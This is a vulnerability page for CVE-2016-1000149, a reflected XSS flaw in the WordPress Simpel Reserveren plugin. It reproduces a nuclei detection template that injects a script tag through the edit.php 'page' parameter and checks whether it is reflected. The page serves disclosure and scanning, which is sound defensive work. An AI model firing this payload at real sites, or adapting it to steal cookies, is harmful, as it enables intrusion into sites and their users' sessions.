CVE-2016-1000149: WordPress Simpel Reserveren <=3.5.2 - Cross-Site Scripting

2025-08-01 WordPress Simpel Reserveren PoC Public

Description

WordPress plugin Simpel Reserveren 3.5.2 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2016-1000149

info:
  name: WordPress Simpel Reserveren <=3.5.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress plugin Simpel Reserveren 3.5.2 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade to the latest version of the WordPress Simpel Reserveren plugin (>=3.5.3) or apply a patch provided by the vendor to fix the XSS vulnerability.
  reference:
    - https://wordpress.org/plugins/simpel-reserveren
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=474
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000149
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000149
    cwe-id: CWE-79
    epss-score: 0.03977
    epss-percentile: 0.89959
    cpe: cpe:2.3:a:simpel-reserveren_project:simpel-reserveren:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "simpel-reserveren_project"
    product: "simpel-reserveren"
    framework: wordpress
  tags: cve2016,cve,wordpress,xss,wp-plugin,simpel-reserveren_project,vkev,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/simpel-reserveren/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Simpel Reserveren'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/simpel-reserveren/edit.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ee670bbca597f37631836b3ff4060122bd5a62f107a2a9786ca78f32254cd3fe02203da9c6980b95289a67bc80b900d72d8ea0e8343ae16de0f1730422fca6c22c1a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2016/CVE-2016-1000149.yaml

References

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